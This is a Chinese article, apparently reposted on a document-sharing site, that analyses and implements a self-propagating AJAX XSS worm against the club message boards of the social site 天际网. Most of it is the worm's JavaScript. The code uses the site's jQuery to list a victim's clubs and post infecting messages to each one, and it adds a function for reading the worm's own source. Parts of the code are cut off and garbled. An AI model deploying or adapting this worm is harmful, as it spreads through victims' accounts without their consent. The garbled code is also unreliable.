
天际网ajaxworm分析及实现脚本安全电脑资料.doc
3页天际网ajax worm分析及实现脚本平安 电脑资料 --> By:Neeao [B.C.T] xx-12-27 注:文章前已经通知了官方, 最近心血来潮想研究下ajax worm的传播,偶然发现了天际网的几处xss漏洞,其中一处为俱乐部处留言的地方没过滤好导致xss攻击就写个ajax worm来玩玩了 分析: 由于没有对script标记做很好的限制,使ajax worm的应用起来相对就容易的多了 字符限制为1000,可以直接写源码进页面了 刚开始用xml来获取数据和提交数据,不知道怎么回事,在IE下调试能用,在firefox下调试不起作用了 后来发现天际网采用了一个叫做jquery的轻量级的javascript框架,于是直接调用框架中的ajax函数 发现一个好处,采用系统自带框架的ajax函数,可以使ajax worm代码更短 写了个简单的应用,一共10行,代码如下: var indexhtml = $.ajax({url: "/Group/Index",async:false}).responseText; var urllist = indexhtml.substring(indexhtml.indexOf(" if (urllist!=null){ for(i=0;i var html = $.ajax({url: "/Group/GroupIndex?"+urllist[i],async: false}).responseText; if(html.indexOf("localhost/2.js")==-1) { $.ajax({type: "POST",url: "/Group/BBSDone?"+urllist[i],data:"content=元旦快乐!&inIndex=true&"+urllist[i]}); } } } //获取俱乐部主页源码 var indexhtml = $.ajax({url: "/Group/Index",async:false}).responseText; //获取要感染的俱乐部IDlist var urllist = indexhtml.substring(indexhtml.indexOf(" //如果当前用户加入的有俱乐部,那么感染,没有那么退出执行 if (urllist!=null){ //循环感染 for(i=0;i //获取要感染俱乐部页面源码 var html = $.ajax({url: "/Group/GroupIndex?"+urllist[i],async: false}).responseText; //判断是否已经感染,没感染那么感染 if(html.indexOf("localhost/2.js")==-1) { //感染 $.ajax({type: "POST",url: "/Group/BBSDone?"+urllist[i],data:"content=xx元旦快乐!&inIndex=true&"+urllist[i]}); } } } 一个获取ajax worm蠕虫本身源码的函数,使用当前页面自己感染的时候或许有用, function codes(){ var urlstr = document.location.href; var code = $.ajax({url: urlstr,async: false}).responseText; code = code.substring(code.indexOf(" "),code.lastIndexOf(" ")); return code; } 模板,内容仅供参考 。












